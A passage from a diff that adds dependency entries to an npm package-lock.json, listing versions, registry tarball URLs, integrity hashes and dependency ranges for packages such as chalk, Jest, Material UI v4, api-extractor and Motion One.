"https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/transform/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/transform/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/@jest/transform/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/transform/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/types": { + "version": "27.5.1", + "resolved": "https://registry.npmjs.org/@jest/types/-/types-27.5.1.tgz", + "integrity": "sha512-Cx46iJ9QpwQTjIdq5VJu2QTMMs3QlEjI0x1QbBP5W1+nMzyc2XmimiRR/CbX9TO0cPTeUlxWMOu8mslYsJ8DEw==", + "license": "MIT", + "dependencies": { + "@types/istanbul-lib-coverage": "^2.0.0", + "@types/istanbul-reports": "^3.0.0", + "@types/node": "*", + "@types/yargs": "^16.0.0", + "chalk": "^4.0.0" + }, + "engines": { + "node": "^10.13.0 || ^12.13.0 || ^14.15.0 || >=15.0.0" + } + }, + "node_modules/@jest/types/node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "license": "MIT", + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/@jest/types/node_modules/chalk": { + "version": "4.1.2", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz", + "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==", + "license": "MIT", + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/chalk/chalk?sponsor=1" + } + }, + "node_modules/@jest/types/node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "license": "MIT", + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/@jest/types/node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "license": "MIT" + }, + "node_modules/@jest/types/node_modules/has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "license": "MIT", + "engines": { + "node": ">=8" + } + }, + "node_modules/@jest/types/node_modules/supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "license": "MIT", + "dependencies": { + "has-flag": "^4.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/@jridgewell/gen-mapping": { + "version": "0.1.1", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.1.1.tgz", + "integrity": "sha512-sQXCasFk+U8lWYEe66WxRDOE9PjVz4vSM51fTu3Hw+ClTpUSQb718772vH3pyS5pShp6lvQM7SxgIDXXXmOX7w==", + "license": "MIT", + "dependencies": { + "@jridgewell/set-array": "^1.0.0", + "@jridgewell/sourcemap-codec": "^1.4.10" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/resolve-uri": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/@jridgewell/resolve-uri/-/resolve-uri-3.1.0.tgz", + "integrity": "sha512-F2msla3tad+Mfht5cJq7LSXcdudKTWCVYUgw6pLFOOHSTtZlj6SWNYAp+AhuqLmWdBO2X5hPrLcu8cVP8fy28w==", + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/set-array": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/@jridgewell/set-array/-/set-array-1.2.1.tgz", + "integrity": "sha512-R8gLRTZeyp03ymzP/6Lil/28tGeGEzhx1q2k703KGWRAI1VdvPIXdG70VJc2pAMw3NA6JKL5hhFu1sJX0Mnn/A==", + "license": "MIT", + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/source-map": { + "version": "0.3.6", + "resolved": "https://registry.npmjs.org/@jridgewell/source-map/-/source-map-0.3.6.tgz", + "integrity": "sha512-1ZJTZebgqllO79ue2bm3rIGud/bOe0pP5BjSRCRxxYkEZS8STV7zN84UBbiYu7jy+eCKSnVIUgoWWE/tt+shMQ==", + "license": "MIT", + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.5", + "@jridgewell/trace-mapping": "^0.3.25" + } + }, + "node_modules/@jridgewell/source-map/node_modules/@jridgewell/gen-mapping": { + "version": "0.3.5", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.5.tgz", + "integrity": "sha512-IzL8ZoEDIBRWEzlCcRhOaCupYyN5gdIK+Q6fbFdPDg6HqX6jpkItn7DFIpW9LQzXG6Df9sA7+OKnq0qlz/GaQg==", + "license": "MIT", + "dependencies": { + "@jridgewell/set-array": "^1.2.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.24" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/@jridgewell/sourcemap-codec": { + "version": "1.5.0", + "resolved": "https://registry.npmjs.org/@jridgewell/sourcemap-codec/-/sourcemap-codec-1.5.0.tgz", + "integrity": "sha512-gv3ZRaISU3fjPAgNsriBRqGWQL6quFx04YMPW/zD8XMLsU32mhCCbfbO6KZFLjvYpCZ8zyDEgqsgf+PwPaM7GQ==", + "license": "MIT" + }, + "node_modules/@jridgewell/trace-mapping": { + "version": "0.3.25", + "resolved": "https://registry.npmjs.org/@jridgewell/trace-mapping/-/trace-mapping-0.3.25.tgz", + "integrity": "sha512-vNk6aEwybGtawWmy/PzwnGDOjCkLWSD2wqvjGGAgOAwCGWySYXfYoxt00IJkTF+8Lb57DwOb3Aa0o9CApepiYQ==", + "license": "MIT", + "dependencies": { + "@jridgewell/resolve-uri": "^3.1.0", + "@jridgewell/sourcemap-codec": "^1.4.14" + } + }, + "node_modules/@leichtgewicht/ip-codec": { + "version": "2.0.4", + "resolved": "https://registry.npmjs.org/@leichtgewicht/ip-codec/-/ip-codec-2.0.4.tgz", + "integrity": "sha512-Hcv+nVC0kZnQ3tD9GVu5xSMR4VVYOteQIr/hwFPVEvPdlXqgGEuRjiheChHgdM+JyqdgNcmzZOX/tnl0JOiI7A==", + "license": "MIT" + }, + "node_modules/@ljharb/resumer": { + "version": "0.0.1", + "resolved": "https://registry.npmjs.org/@ljharb/resumer/-/resumer-0.0.1.tgz", + "integrity": "sha512-skQiAOrCfO7vRTq53cxznMpks7wS1va95UCidALlOVWqvBAzwPVErwizDwoMqNVMEn1mDq0utxZd02eIrvF1lw==", + "license": "MIT", + "dependencies": { + "@ljharb/through": "^2.3.9" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/@ljharb/through": { + "version": "2.3.13", + "resolved": "https://registry.npmjs.org/@ljharb/through/-/through-2.3.13.tgz", + "integrity": "sha512-/gKJun8NNiWGZJkGzI/Ragc53cOdcLNdzjLaIa+GEjguQs0ulsurx8WN0jijdK9yPqDvziX995sMRLyLt1uZMQ==", + "license": "MIT", + "dependencies": { + "call-bind": "^1.0.7" + }, + "engines": { + "node": ">= 0.4" + } + }, + "node_modules/@material-ui/core": { + "version": "4.12.4", + "resolved": "https://registry.npmjs.org/@material-ui/core/-/core-4.12.4.tgz", + "integrity": "sha512-tr7xekNlM9LjA6pagJmL8QCgZXaubWUwkJnoYcMKd4gw/t4XiyvnTkjdGrUVicyB2BsdaAv1tvow45bPM4sSwQ==", + "deprecated": "Material UI v4 doesn't receive active development since September 2021. See the guide https://mui.com/material-ui/migration/migration-v4/ to upgrade to v5.", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.4.4", + "@material-ui/styles": "^4.11.5", + "@material-ui/system": "^4.12.2", + "@material-ui/types": "5.1.0", + "@material-ui/utils": "^4.11.3", + "@types/react-transition-group": "^4.2.0", + "clsx": "^1.0.4", + "hoist-non-react-statics": "^3.3.2", + "popper.js": "1.16.1-lts", + "prop-types": "^15.7.2", + "react-is": "^16.8.0 || ^17.0.0", + "react-transition-group": "^4.4.0" + }, + "engines": { + "node": ">=8.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/material-ui" + }, + "peerDependencies": { + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/icons": { + "version": "4.11.3", + "resolved": "https://registry.npmjs.org/@material-ui/icons/-/icons-4.11.3.tgz", + "integrity": "sha512-IKHlyx6LDh8n19vzwH5RtHIOHl9Tu90aAAxcbWME6kp4dmvODM3UvOHJeMIDzUbd4muuJKHmlNoBN+mDY4XkBA==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.4.4" + }, + "engines": { + "node": ">=8.0.0" + }, + "peerDependencies": { + "@material-ui/core": "^4.0.0", + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/lab": { + "version": "4.0.0-alpha.61", + "resolved": "https://registry.npmjs.org/@material-ui/lab/-/lab-4.0.0-alpha.61.tgz", + "integrity": "sha512-rSzm+XKiNUjKegj8bzt5+pygZeckNLOr+IjykH8sYdVk7dE9y2ZuUSofiMV2bJk3qU+JHwexmw+q0RyNZB9ugg==", + "deprecated": "Material UI v4 doesn't receive active development since September 2021. See the guide https://mui.com/material-ui/migration/migration-v4/ to upgrade to v5.", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.4.4", + "@material-ui/utils": "^4.11.3", + "clsx": "^1.0.4", + "prop-types": "^15.7.2", + "react-is": "^16.8.0 || ^17.0.0" + }, + "engines": { + "node": ">=8.0.0" + }, + "peerDependencies": { + "@material-ui/core": "^4.12.1", + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/styles": { + "version": "4.11.5", + "resolved": "https://registry.npmjs.org/@material-ui/styles/-/styles-4.11.5.tgz", + "integrity": "sha512-o/41ot5JJiUsIETME9wVLAJrmIWL3j0R0Bj2kCOLbSfqEkKf0fmaPt+5vtblUh5eXr2S+J/8J3DaCb10+CzPGA==", + "deprecated": "Material UI v4 doesn't receive active development since September 2021. See the guide https://mui.com/material-ui/migration/migration-v4/ to upgrade to v5.", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.4.4", + "@emotion/hash": "^0.8.0", + "@material-ui/types": "5.1.0", + "@material-ui/utils": "^4.11.3", + "clsx": "^1.0.4", + "csstype": "^2.5.2", + "hoist-non-react-statics": "^3.3.2", + "jss": "^10.5.1", + "jss-plugin-camel-case": "^10.5.1", + "jss-plugin-default-unit": "^10.5.1", + "jss-plugin-global": "^10.5.1", + "jss-plugin-nested": "^10.5.1", + "jss-plugin-props-sort": "^10.5.1", + "jss-plugin-rule-value-function": "^10.5.1", + "jss-plugin-vendor-prefixer": "^10.5.1", + "prop-types": "^15.7.2" + }, + "engines": { + "node": ">=8.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/material-ui" + }, + "peerDependencies": { + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/system": { + "version": "4.12.2", + "resolved": "https://registry.npmjs.org/@material-ui/system/-/system-4.12.2.tgz", + "integrity": "sha512-6CSKu2MtmiJgcCGf6nBQpM8fLkuB9F55EKfbdTC80NND5wpTmKzwdhLYLH3zL4cLlK0gVaaltW7/wMuyTnN0Lw==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.4.4", + "@material-ui/utils": "^4.11.3", + "csstype": "^2.5.2", + "prop-types": "^15.7.2" + }, + "engines": { + "node": ">=8.0.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/material-ui" + }, + "peerDependencies": { + "@types/react": "^16.8.6 || ^17.0.0", + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/types": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/@material-ui/types/-/types-5.1.0.tgz", + "integrity": "sha512-7cqRjrY50b8QzRSYyhSpx4WRw2YuO0KKIGQEVk5J8uoz2BanawykgZGoWEqKm7pVIbzFDN0SpPcVV4IhOFkl8A==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/@material-ui/utils": { + "version": "4.11.3", + "resolved": "https://registry.npmjs.org/@material-ui/utils/-/utils-4.11.3.tgz", + "integrity": "sha512-ZuQPV4rBK/V1j2dIkSSEcH5uT6AaHuKWFfotADHsC0wVL1NLd2WkFCm4ZZbX33iO4ydl6V0GPngKm8HZQ2oujg==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.4.4", + "prop-types": "^15.7.2", + "react-is": "^16.8.0 || ^17.0.0" + }, + "engines": { + "node": ">=8.0.0" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0", + "react-dom": "^16.8.0 || ^17.0.0" + } + }, + "node_modules/@microsoft/api-extractor": { + "version": "7.48.0", + "resolved": "https://registry.npmjs.org/@microsoft/api-extractor/-/api-extractor-7.48.0.tgz", + "integrity": "sha512-FMFgPjoilMUWeZXqYRlJ3gCVRhB7WU/HN88n8OLqEsmsG4zBdX/KQdtJfhq95LQTQ++zfu0Em1LLb73NqRCLYQ==", + "license": "MIT", + "dependencies": { + "@microsoft/api-extractor-model": "7.30.0", + "@microsoft/tsdoc": "~0.15.1", + "@microsoft/tsdoc-config": "~0.17.1", + "@rushstack/node-core-library": "5.10.0", + "@rushstack/rig-package": "0.5.3", + "@rushstack/terminal": "0.14.3", + "@rushstack/ts-command-line": "4.23.1", + "lodash": "~4.17.15", + "minimatch": "~3.0.3", + "resolve": "~1.22.1", + "semver": "~7.5.4", + "source-map": "~0.6.1", + "typescript": "5.4.2" + }, + "bin": { + "api-extractor": "bin/api-extractor" + } + }, + "node_modules/@microsoft/api-extractor-model": { + "version": "7.30.0", + "resolved": "https://registry.npmjs.org/@microsoft/api-extractor-model/-/api-extractor-model-7.30.0.tgz", + "integrity": "sha512-26/LJZBrsWDKAkOWRiQbdVgcfd1F3nyJnAiJzsAgpouPk7LtOIj7PK9aJtBaw/pUXrkotEg27RrT+Jm/q0bbug==", + "license": "MIT", + "dependencies": { + "@microsoft/tsdoc": "~0.15.1", + "@microsoft/tsdoc-config": "~0.17.1", + "@rushstack/node-core-library": "5.10.0" + } + }, + "node_modules/@microsoft/api-extractor/node_modules/minimatch": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.8.tgz", + "integrity": "sha512-6FsRAQsxQ61mw+qP1ZzbL9Bc78x2p5OqNgNpnoAFLTrX8n5Kxph0CsnhmKKNXTWjXqU5L0pGPR7hYk+XWZr60Q==", + "license": "ISC", + "dependencies": { + "brace-expansion": "^1.1.7" + }, + "engines": { + "node": "*" + } + }, + "node_modules/@microsoft/api-extractor/node_modules/semver": { + "version": "7.5.4", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.5.4.tgz", + "integrity": "sha512-1bCSESV6Pv+i21Hvpxp3Dx+pSD8lIPt8uVjRrxAUt/nbswYc+tK6Y2btiULjd4+fnq15PX+nqQDC7Oft7WkwcA==", + "license": "ISC", + "dependencies": { + "lru-cache": "^6.0.0" + }, + "bin": { + "semver": "bin/semver.js" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/@microsoft/api-extractor/node_modules/typescript": { + "version": "5.4.2", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.4.2.tgz", + "integrity": "sha512-+2/g0Fds1ERlP6JsakQQDXjZdZMM+rqpamFZJEKh4kwTIn3iDkgKtby0CeNd5ATNZ4Ry1ax15TMx0W2V+miizQ==", + "license": "Apache-2.0", + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=14.17" + } + }, + "node_modules/@microsoft/tsdoc": { + "version": "0.15.1", + "resolved": "https://registry.npmjs.org/@microsoft/tsdoc/-/tsdoc-0.15.1.tgz", + "integrity": "sha512-4aErSrCR/On/e5G2hDP0wjooqDdauzEbIq8hIkIe5pXV0rtWJZvdCEKL0ykZxex+IxIwBp0eGeV48hQN07dXtw==", + "license": "MIT" + }, + "node_modules/@microsoft/tsdoc-config": { + "version": "0.17.1", + "resolved": "https://registry.npmjs.org/@microsoft/tsdoc-config/-/tsdoc-config-0.17.1.tgz", + "integrity": "sha512-UtjIFe0C6oYgTnad4q1QP4qXwLhe6tIpNTRStJ2RZEPIkqQPREAwE5spzVxsdn9UaEMUqhh0AqSx3X4nWAKXWw==", + "license": "MIT", + "dependencies": { + "@microsoft/tsdoc": "0.15.1", + "ajv": "~8.12.0", + "jju": "~1.4.0", + "resolve": "~1.22.2" + } + }, + "node_modules/@microsoft/tsdoc-config/node_modules/ajv": { + "version": "8.12.0", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-8.12.0.tgz", + "integrity": "sha512-sRu1kpcO9yLtYxBKvqfTeh9KzZEwO3STyX1HT+4CaDzC6HpTGYhIhPIzj9XuKU7KYDwnaeh5hcOwjy1QuJzBPA==", + "license": "MIT", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "json-schema-traverse": "^1.0.0", + "require-from-string": "^2.0.2", + "uri-js": "^4.2.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/epoberezkin" + } + }, + "node_modules/@microsoft/tsdoc-config/node_modules/json-schema-traverse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", + "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", + "license": "MIT" + }, + "node_modules/@monaco-editor/loader": { + "version": "1.4.0", + "resolved": "https://registry.npmjs.org/@monaco-editor/loader/-/loader-1.4.0.tgz", + "integrity": "sha512-00ioBig0x642hytVspPl7DbQyaSWRaolYie/UFNjoTdvoKPzo6xrXLhTk9ixgIKcLH5b5vDOjVNiGyY+uDCUlg==", + "license": "MIT", + "dependencies": { + "state-local": "^1.0.6" + }, + "peerDependencies": { + "monaco-editor": ">= 0.21.0 < 1" + } + }, + "node_modules/@monaco-editor/react": { + "version": "4.6.0", + "resolved": "https://registry.npmjs.org/@monaco-editor/react/-/react-4.6.0.tgz", + "integrity": "sha512-RFkU9/i7cN2bsq/iTkurMWOEErmYcY6JiQI3Jn+WeR/FGISH8JbHERjpS9oRuSOPvDMJI0Z8nJeKkbOs9sBYQw==", + "license": "MIT", + "dependencies": { + "@monaco-editor/loader": "^1.4.0" + }, + "peerDependencies": { + "monaco-editor": ">= 0.25.0 < 1", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0", + "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/@motionone/animation": { + "version": "10.18.0", + "resolved": "https://registry.npmjs.org/@motionone/animation/-/animation-10.18.0.tgz", + "integrity": "sha512-9z2p5GFGCm0gBsZbi8rVMOAJCtw1WqBTIPw3ozk06gDvZInBPIsQcHgYogEJ4yuHJ+akuW8g1SEIOpTOvYs8hw==", + "license": "MIT", + "dependencies": { + "@motionone/easing": "^10.18.0", + "@motionone/types": "^10.17.1", + "@motionone/utils": "^10.18.0", + "tslib": "^2.3.1" + } + }, + "node_modules/@motionone/animation/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/@motionone/dom": { + "version": "10.18.0", + "resolved": "https://registry.npmjs.org/@motionone/dom/-/dom-10.18.0.tgz", + "integrity": "sha512-bKLP7E0eyO4B2UaHBBN55tnppwRnaE3KFfh3Ps9HhnAkar3Cb69kUCJY9as8LrccVYKgHA+JY5dOQqJLOPhF5A==", + "license": "MIT", + "dependencies": { + "@motionone/animation": "^10.18.0", + "@motionone/generators": "^10.18.0", + "@motionone/types": "^10.17.1", + "@motionone/utils": "^10.18.0", + "hey-listen": "^1.0.8", + "tslib": "^2.3.1" + } + }, + "node_modules/@motionone/dom/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/@motionone/easing": { + "version": "10.18.0", + "resolved": "https://registry.npmjs.org/@motionone/easing/-/easing-10.18.0.tgz", + "integrity": "sha512-VcjByo7XpdLS4o9T8t99JtgxkdMcNWD3yHU/n6CLEz3bkmKDRZyYQ/wmSf6daum8ZXqfUAgFeCZSpJZIMxaCzg==", + "license": "MIT", + "dependencies": { + "@motionone/utils": "^10.18.0", + "tslib": "^2.3.1" + } + }, + "node_modules/@motionone/easing/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/@motionone/generators": { + "version": "10.18.0", + "resolved": "https://registry.npmjs.org/@motionone/generators/-/generators-10.18.0.tgz", + "integrity": "sha512-+qfkC2DtkDj4tHPu+AFKVfR/C30O1vYdvsGYaR13W/1cczPrrcjdvYCj0VLFuRMN+lP1xvpNZHCRNM4fBzn1jg==", + "license": "MIT", + "dependencies": { + "@motionone/types": "^10.17.1", + "@motionone/utils": "^10.18.0", + "tslib": "^2.3.1" + } + }, + "node_modules/@motionone/generators/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/@motionone/types": { + "version": "10.17.1", + "resolved": "https://registry.npmjs.org/@motionone/types/-/types-10.17.1.tgz", + "integrity": "sha512-KaC4kgiODDz8hswCrS0btrVrzyU2CSQKO7Ps90ibBVSQmjkrt2teqta6/sOG59v7+dPnKMAg13jyqtMKV2yJ7A==", + "license": "MIT" + }, + "node_modules/@motionone/utils": { + "version": "10.18.0", + "resolved": "https://registry.npmjs.org/@motionone/utils/-/utils-10.18.0.tgz", + "integrity": "sha512-3XVF7sgyTSI2KWvTf6uLlBJ5iAgRgmvp3bpuOiQJvInd4nZ19ET8lX5unn30SlmRH7hXbBbH+Gxd0m0klJ3Xtw==", + "license": "MIT", + "dependencies": { + "@motionone/types": "^10.17.1", + "hey-listen": "^1.0.8", + "tslib": "^2.3.1" + } + }, + "node_modules/@motionone/utils/node_modules/tslib": { + "version": "2.8.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz", + "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==", + "license": "0BSD" + }, + "node_modules/@nodelib/fs.scandir": { + "version": "2.1.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.scandir/-/fs.scandir-2.1.5.tgz", + "integrity": "sha512-vq24Bq3ym5HEQm2NKCr3yXDwjc7vTsEThRDnkp2DK9p1uqLR+DHurm/NOTo0KG7HYHU7eppKZj3MyqYuMBf62g==", + "license": "MIT", + "dependencies": { + "@nodelib/fs.stat": "2.0.5", + "run-parallel": "^1.1.9" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.stat": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/@nodelib/fs.stat/-/fs.stat-2.0.5.tgz", + "integrity": "sha512-RkhPPp2zrqDAQA/2jNhnztcPAlv64XdhIp7a7454A5ovI7Bukxgt7MX7udwAu3zg1DcpPU0rz3VV1SeaqvY4+A==", + "license": "MIT", + "engines": { + "node": ">= 8" + } + }, + "node_modules/@nodelib/fs.walk": { + "version": "1.2.8", + "resolved": "https://registry.npmjs.org/@nodelib/fs.walk/-/fs.walk-1.2.8.tgz", + "integrity": "sha512-oGB+UxlgWcgQkgwo8GcEGwemoTFt3FIO9ababBmaGwXIoBKZ+GTy0pP185beGg7Llih/NSHSV2XAs1lnznocSg==", + "license": "MIT", + "dependencies": { + "@nodelib/fs.scandir": "2.1.5", + "fastq": "^1.6.0" + }, + "engines": { + "node": ">= 8" + } + }, + "node_modules/@pmmmwh/react-refresh-webpack-plugin": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/@pmmmwh/react-refresh-webpack-plugin/-/react-refresh-webpack-plugin-0.5.7.tgz", + "integrity": "sha512-bcKCAzF0DV2IIROp9ZHkRJa6O4jy7NlnHdWL3GmcUxYWNjLXkK5kfELELwEfSP5hXPfVL/qOGMAROuMQb9GG8Q==", + "license": "MIT", + "dependencies": { + "ansi-html-community": "^0.0.8", + "common-path-prefix": "^3.0.0", + "core-js-pure": "^3.8.1", + "error-stack-parser": "^2.0.6", + "find-up": "^5.0.0", + "html-entities": "^2.1.0", + "loader-utils": "^2.0.0", + "schema-utils": "^3.0.0", + "source-map": "^0.7.3" + }, + "engines": { + "node": ">= 10.13" + }, + "peerDependencies": { + "@types/webpack": "4.x || 5.x", + "react-refresh": ">=0.10.0 <1.0.0", + "sockjs-client": "^1.4.0", + "type-fest": ">=0.17.0 <3.0.0", + "webpack": ">=4.43.0 <6.0.0", + "webpack-dev-server": "3.x || 4.x", + "webpack-hot-middleware": "2.x", + "webpack-plugin-serve": "0.x || 1.x" + }, + "peerDependenciesMeta": { + "@types/webpack": { + "optional": true + }, + "sockjs-client": { + "optional": true + }, + "type-fest": { + "optional": true + }, + "webpack-dev-server": { + "optional": true + }, + 